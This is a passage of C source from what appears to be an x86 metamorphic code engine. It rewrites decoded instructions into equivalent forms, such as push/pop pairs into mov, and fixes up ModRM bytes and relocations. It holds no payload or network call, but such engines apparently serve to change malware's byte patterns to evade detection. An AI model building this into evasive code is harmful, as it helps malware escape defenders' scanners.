pCurrentSynonymousX86InstructionAbstraction->Opcode=pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=(pCurrentSynonymousX86InstructionAbstraction->DestinationRegister + 0x40); pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=(pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1); pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagRegOpcode; pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags &= ~(X86InstructionStandardFlagData|X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit); continue; } else { // Add [Effective Address (8/16/32)], 1 -> Inc [Effective Address (8/16/32)] pCurrentSynonymousX86InstructionAbstraction->WBitOpcode=0xFE; pCurrentSynonymousX86InstructionAbstraction->Opcode=pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=(0xFE + pCurrentSynonymousX86InstructionAbstraction->WBit); pCurrentSynonymousX86InstructionAbstraction->Reg=0x00; // 000 - Inc extended opcode pCurrentSynonymousX86InstructionAbstraction->ModRM &= 0xC7; pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=pCurrentSynonymousX86InstructionAbstraction->ModRM; pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags &= ~X86InstructionExtendedFlagDBit; if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData8)) { pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength--; pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlag8BitSingleModRM; } else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData32)) { pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength -= 4; pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlag32BitSingleModRM; } else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData16)) { pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength -= 2; pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlag32BitSingleModRM; } pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags &= ~X86InstructionStandardFlagData; continue; } } } } if(pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes == 0) { if(pCurrentSynonymousX86InstructionAbstraction->Opcode == 0x6A) { // Push Constant8 -> Push Constant32 pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=5; pCurrentSynonymousX86InstructionAbstraction->Opcode=pCurrentSynonymousX86InstructionAbstraction->Data[0]=0x68; *(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[1]=(CHAR)pCurrentSynonymousX86InstructionAbstraction->Data[1]; pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags &= ~X86InstructionStandardFlagData8; pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagData32; continue; } if(pCurrentSynonymousX86InstructionAbstraction->Opcode == 0x8D) { // Lea Reg, [Effective Address] if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagSIB) && !(pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagMemory)) { if(pCurrentSynonymousX86InstructionAbstraction->Scale == 1) { if(CurrentDestinationRegister == pCurrentSynonymousX86InstructionAbstraction->Index) { // Lea Reg1(32), Dword [Reg1(32) + Reg2(32)] -> Add Reg1(32), Reg2(32) CurrentSourceRegister=pCurrentSynonymousX86InstructionAbstraction->Base; bValidRegister=TRUE; } else if(CurrentDestinationRegister == pCurrentSynonymousX86InstructionAbstraction->Base) { // Lea Reg1(32), Dword [Reg2(32) + Reg1(32)] -> Add Reg1(32), Reg2(32) CurrentSourceRegister=pCurrentSynonymousX86InstructionAbstraction->Index; bValidRegister=TRUE; } if(bValidRegister) { pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=0x00; pCurrentSynonymousX86InstructionAbstraction->WBitOpcode=0x02; pCurrentSynonymousX86InstructionAbstraction->WBit=1; pCurrentSynonymousX86InstructionAbstraction->Opcode=pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=0x03; pCurrentSynonymousX86InstructionAbstraction->SourceRegister=CurrentSourceRegister; pCurrentSynonymousX86InstructionAbstraction->DestinationRegister=CurrentDestinationRegister; pCurrentSynonymousX86InstructionAbstraction->Mod=0xC0; pCurrentSynonymousX86InstructionAbstraction->Rm=CurrentSourceRegister; pCurrentSynonymousX86InstructionAbstraction->Reg=CurrentDestinationRegister; pCurrentSynonymousX86InstructionAbstraction->ModRM=(pCurrentSynonymousX86InstructionAbstraction->Mod|(pCurrentSynonymousX86InstructionAbstraction->Reg << 3)|pCurrentSynonymousX86InstructionAbstraction->Rm); pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=pCurrentSynonymousX86InstructionAbstraction->ModRM; pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=(pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 2); pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagAddressModeWBit; pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags &= ~X86InstructionStandardFlagSIB; pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagDBit; pCurrentSynonymousX86InstructionAbstraction->DBit=1; continue; } } } } } } if(pCurrentSynonymousX86InstructionAbstraction->DBitOpcode == 0x08) { if(pCurrentSynonymousX86InstructionAbstraction->Mod == 0xC0 && pCurrentSynonymousX86InstructionAbstraction->SourceRegister == pCurrentSynonymousX86InstructionAbstraction->DestinationRegister) { // Or Reg1(8/16/32), Reg1(8/16/32) -> Test Reg1(8/16/32), Reg1(8/16/32) pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=pCurrentSynonymousX86InstructionAbstraction->Opcode=0x84; pCurrentSynonymousX86InstructionAbstraction->Opcode += pCurrentSynonymousX86InstructionAbstraction->WBit; pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode; continue; } } if(pCurrentSynonymousX86InstructionAbstraction->DBitOpcode == 0x80) { if(pCurrentSynonymousX86InstructionAbstraction->Reg == 0x07) // 111 - Cmp extended opcode { if(pCurrentSynonymousX86InstructionAbstraction->Mod == 0xC0) { if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData8)) { if(pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset] == 0) { bValidConstant=TRUE; } } else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData32)) { if(*(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset] == 0) { bValidConstant=TRUE; } } else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData16)) { if(*(PWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset] == 0) { bValidConstant=TRUE; } } if(bValidConstant) { // Cmp Reg(8/16/32), 0(8/16/32) -> Test Reg(8/16/32), Reg(8/16/32) pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=pCurrentSynonymousX86InstructionAbstraction->Opcode=pCurrentSynonymousX86InstructionAbstraction->WBitOpcode=0x84; pCurrentSynonymousX86InstructionAbstraction->SourceRegister=pCurrentSynonymousX86InstructionAbstraction->DestinationRegister; pCurrentSynonymousX86InstructionAbstraction->Mod=0xC0; pCurrentSynonymousX86InstructionAbstraction->Rm=pCurrentSynonymousX86InstructionAbstraction->SourceRegister; pCurrentSynonymousX86InstructionAbstraction->Reg=pCurrentSynonymousX86InstructionAbstraction->DestinationRegister; pCurrentSynonymousX86InstructionAbstraction->ModRM=(pCurrentSynonymousX86InstructionAbstraction->Mod|(pCurrentSynonymousX86InstructionAbstraction->Reg << 3)|pCurrentSynonymousX86InstructionAbstraction->Rm); pCurrentSynonymousX86InstructionAbstraction->Opcode += pCurrentSynonymousX86InstructionAbstraction->WBit; pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode; pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=pCurrentSynonymousX86InstructionAbstraction->ModRM; pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=(pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 2); pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags &= ~X86InstructionStandardFlagData; pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags &= ~X86InstructionExtendedFlagExtendedOpcode; continue; } } } } } } // Walk instruction list and identify/shrink twin sequences of instructions. //printf("[*] Shrinking double instruction sequences...\r\n"); for(pCurrentSynonymousX86InstructionAbstraction=pSynonymousTargetCodeAbstractionTable->pInitialX86InstructionAbstraction; pCurrentSynonymousX86InstructionAbstraction != NULL; pCurrentSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction) { // Push Reg2(32) + Pop Reg1(32) -> Mov Reg1(32), Reg2(32) --------------------------------------| // Push Reg(32) + Pop [Effective Address (32)] -> Mov [Effective Address (32)], Reg(32) | // Push [Effective Address (32)] + Pop Reg(32) -> Mov Reg(32), [Effective Address (32)] | // Push Constant32 + Pop Reg(32) -> Mov Reg(32), Constant32 -----------------------------------|| // Push Constant32 + Pop [Effective Address (32)] -> Mov [Effective Address (32)], Constant32 -|| // Mov Esp, Ebp + Pop Ebp -> Leave <-----------------------------------------------------------|| Push Ebp + Pop Esp + Pop Ebp -> Leave // Add Esp, -4 + Mov Dword [Esp], Constant32 -> Push Constant32 <------------------------------| Add Esp, -4 + Push Constant32 + Pop Dword [Esp] -> Add Esp, -4 + Mov Dword [Esp], Constant32 // Mov Reg(32), (Constant32 - Delta) + Add Reg(32), Delta -> Mov Reg(32), Constant32 <---------| Push (Constant32 - Delta) + Pop Reg(32) + Add Reg(32), Delta -> Mov Reg(32), Constant32 // Mov [Effective Address (32)], (Constant32 - Delta) + Add [Effective Address (32)], Delta -> Mov [Effective Address (32)], Constant32 for(dwX=0; dwX < 2; dwX++) { if(pDiscardableLinks[dwX] != NULL) { pAPITable->GlobalFree(pDiscardableLinks[dwX]); pDiscardableLinks[dwX]=NULL; } } pPreviousTargetX86InstructionAbstraction=NULL; if(pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength != 0 && pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes == 0 && !(pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagPrefix0F)) { if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction != NULL && pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwDataSize == 0 && pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwNumberOfPrefixes == 0 && !(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagReferencedAddress) && !(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagPrefix0F)) { CurrentSourceRegister=pCurrentSynonymousX86InstructionAbstraction->DestinationRegister; CurrentDestinationRegister=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->DestinationRegister; if(pCurrentSynonymousX86InstructionAbstraction->Opcode >= 0x50 && pCurrentSynonymousX86InstructionAbstraction->Opcode < 0x58) { // Push Reg(32) if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Opcode >= 0x58 && pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Opcode <= 0x5F) { // Push Reg2(32) + Pop Reg1(32) -> Mov Reg1(32), Reg2(32) pDiscardableLinks[0]=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=pCurrentSynonymousX86InstructionAbstraction->WBitOpcode=0x88; pCurrentSynonymousX86InstructionAbstraction->WBit=1; pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode=0x89; pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=(pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 2); pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags=X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit; pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagDBit; pCurrentSynonymousX86InstructionAbstraction->Mod=0xC0; pCurrentSynonymousX86InstructionAbstraction->ModRM=pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=(pCurrentSynonymousX86InstructionAbstraction->Mod|(CurrentSourceRegister << 3)|CurrentDestinationRegister); pCurrentSynonymousX86InstructionAbstraction->Reg=CurrentSourceRegister; pCurrentSynonymousX86InstructionAbstraction->Rm=CurrentDestinationRegister; pCurrentSynonymousX86InstructionAbstraction->SourceRegister=CurrentSourceRegister; pCurrentSynonymousX86InstructionAbstraction->DestinationRegister=CurrentDestinationRegister; pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction; //printf("[*] 0x%08x: Push %s + Pop %s -> Mov %s, %s\r\n", pCurrentSynonymousX86InstructionAbstraction->dwInstructionOffset, pGPRSymbolTableTable[1 + pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes][CurrentSourceRegister], pGPRSymbolTableTable[1 + pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes][CurrentDestinationRegister], pGPRSymbolTableTable[1 + pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes][CurrentDestinationRegister], pGPRSymbolTableTable[1 + pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes][CurrentSourceRegister]); } if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Opcode == 0x8F) { // Push Reg(32) + Pop [Effective Address (32)] -> Mov [Effective Address (32)], Reg(32) pDiscardableLinks[0]=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pMemoryRelocationAbstraction != NULL) { if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pMemoryRelocationAbstraction->pLocationSymbol == pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction) { pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pMemoryRelocationAbstraction->pLocationSymbol=pCurrentSynonymousX86InstructionAbstraction; pCurrentSynonymousX86InstructionAbstraction->pMemoryRelocationAbstraction=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pMemoryRelocationAbstraction; } } RelocateMemory(pCurrentSynonymousX86InstructionAbstraction, pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction, sizeof(X86_INSTRUCTION_ABSTRACTION)); pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction; pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode=0x89; pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags &= ~X86InstructionExtendedFlag32BitSingleModRM; pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagDBit; pCurrentSynonymousX86InstructionAbstraction->DBit=0; pCurrentSynonymousX86InstructionAbstraction->WBit=1; pCurrentSynonymousX86InstructionAbstraction->WBitOpcode=0x88; pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=0x88; pCurrentSynonymousX86InstructionAbstraction->ModRM &= 0xC7; // 11000111 pCurrentSynonymousX86InstructionAbstraction->ModRM |= (CurrentSourceRegister << 3); pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=pCurrentSynonymousX86InstructionAbstraction->ModRM; pCurrentSynonymousX86InstructionAbstraction->Reg=CurrentSourceRegister; pCurrentSynonymousX86InstructionAbstraction->Rm=CurrentDestinationRegister; pCurrentSynonymousX86InstructionAbstraction->SourceRegister=CurrentSourceRegister; pCurrentSynonymousX86InstructionAbstraction->DestinationRegister=CurrentDestinationRegister; continue; } } if(pCurrentSynonymousX86InstructionAbstraction->Opcode == 0xFF) { if(pCurrentSynonymousX86InstructionAbstraction->Reg == 0x06) // 110 { // Push [Effective Address (32)] if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Opcode >= 0x58 && pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Opcode <= 0x5F) { // Push [Effective Address (32)] + Pop Reg(32) -> Mov Reg(32), [Effective Address (32)] CurrentDestinationRegister=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->DestinationRegister; CurrentSourceRegister=pCurrentSynonymousX86InstructionAbstraction->DestinationRegister; pDiscardableLinks[0]=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode=0x8B; pCurrentSynonymousX86InstructionAbstraction->WBitOpcode=0x8A; pCurrentSynonymousX86InstructionAbstraction->WBit=1; pCurrentSynonymousX86InstructionAbstraction->DBit=1; pCurrentSynonymousX86InstructionAbstraction->ModRM &= 0xC7; // 11000111 pCurrentSynonymousX86InstructionAbstraction->ModRM |= (CurrentDestinationRegister << 3); pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags &= ~(X86InstructionExtendedFlag32BitSingleModRM|X86InstructionExtendedFlagExtendedOpcode); pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagDBit; pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=pCurrentSynonymousX86InstructionAbstraction->ModRM; pCurrentSynonymousX86InstructionAbstraction->Reg=CurrentSourceRegister; pCurrentSynonymousX86InstructionAbstraction->SourceRegister=CurrentSourceRegister; pCurrentSynonymousX86InstructionAbstraction->DestinationRegister=CurrentDestinationRegister; pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction; continue; } } } if(pCurrentSynonymousX86InstructionAbstraction->Opcode == 0x68) { // Push Constant32 CurrentDestinationRegister=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->DestinationRegister; if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Opcode >= 0x58 && pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Opcode <= 0x5F) { // Push Constant32 + Pop Reg(32) -> Mov Reg(32), Constant32 pDiscardableLinks[0]=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags=X86InstructionStandardFlagData32|X86InstructionStandardFlagRegWBit; pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode=(0xB8 + CurrentDestinationRegister); pCurrentSynonymousX86InstructionAbstraction->WBit=1; pCurrentSynonymousX86InstructionAbstraction->DestinationRegister=CurrentDestinationRegister; pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction; } if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Opcode == 0x8F) { // Push Constant32 + Pop [Effective Address (32)] -> Mov [Effective Address (32)], Constant32 dwConstant=*(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[1]; pDiscardableLinks[0]=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; pPreviousSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction; pCurrentAddressAbstraction=pCurrentSynonymousX86InstructionAbstraction->pDataRelocationAbstraction; RelocateMemory(pCurrentSynonymousX86InstructionAbstraction, pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction, sizeof(X86_INSTRUCTION_ABSTRACTION)); pCurrentSynonymousX86InstructionAbstraction->pDataRelocationAbstraction=pCurrentAddressAbstraction; pCurrentSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction; pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction; pCurrentSynonymousX86InstructionAbstraction->Data[0]=pCurrentSynonymousX86InstructionAbstraction->Opcode=0xC7; pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags |= (X86InstructionStandardFlagData32|X86InstructionStandardFlagAddressModeWBit); pCurrentSynonymousX86InstructionAbstraction->dwDataOffset=pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength; pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength += 4; *(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]=dwConstant; pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags &= ~(X86InstructionExtendedFlag32BitSingleModRM|X86InstructionExtendedFlagBlankReg); pPreviousSynonymousX86InstructionAbstraction=NULL; if(pCurrentSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction->Opcode == 0x83) { if(pCurrentSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction->Reg == 0x00 && pCurrentSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction->Mod == 0xC0 && pCurrentSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction->DestinationRegister == 4 && (CHAR)pCurrentSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction->dwDataOffset] == -4) { pPreviousSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction; } } //system("pause"); //continue; } } if(pCurrentSynonymousX86InstructionAbstraction->DBitOpcode == 0x88) { if(pCurrentSynonymousX86InstructionAbstraction->WBit == 1 && pCurrentSynonymousX86InstructionAbstraction->Mod == 0xC0) { if(pCurrentSynonymousX86InstructionAbstraction->DestinationRegister == 4 && pCurrentSynonymousX86InstructionAbstraction->SourceRegister == 5) { if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Opcode == 0x5D) { // Mov Esp, Ebp + Pop Ebp -> Leave pDiscardableLinks[0]=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes=0; pCurrentSynonymousX86InstructionAbstraction->Data[0]=pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=pCurrentSynonymousX86InstructionAbstraction->Opcode=0xC9; pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagIsolatedVerb; pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags=0; pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=1; pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction; continue; } } } } if(pCurrentSynonymousX86InstructionAbstraction->Opcode >= 0xB8 && pCurrentSynonymousX86InstructionAbstraction->Opcode <= 0xBF && pCurrentSynonymousX86InstructionAbstraction->pDataRelocationAbstraction == NULL && pCurrentSynonymousX86InstructionAbstraction->pMemoryRelocationAbstraction == NULL) { if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Opcode == 0x81) { if(pCurrentSynonymousX86InstructionAbstraction->DestinationRegister == pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->DestinationRegister) { // Mov Reg(32), (Constant32 - Delta) + Add Reg(32), Delta -> Mov Reg(32), Constant32 pDiscardableLinks[0]=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; *(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset] += *(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwDataOffset]; pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction; } } } if(pCurrentSynonymousX86InstructionAbstraction->Opcode == 0xC7 && pCurrentSynonymousX86InstructionAbstraction->pDataRelocationAbstraction == NULL && pCurrentSynonymousX86InstructionAbstraction->pMemoryRelocationAbstraction == NULL) { if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Opcode == 0x81) { if(pCurrentSynonymousX86InstructionAbstraction->ModRM == pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->ModRM && pCurrentSynonymousX86InstructionAbstraction->SIB == pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->SIB) { if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagMemory) && (pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagMemory)) { if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagMemory8) && (pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagMemory8)) { if(pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwMemoryOffset] == pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwMemoryOffset]) { bValidDisplacement=TRUE; } } else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagMemory32) && (pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagMemory32)) { if(*(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwMemoryOffset] == 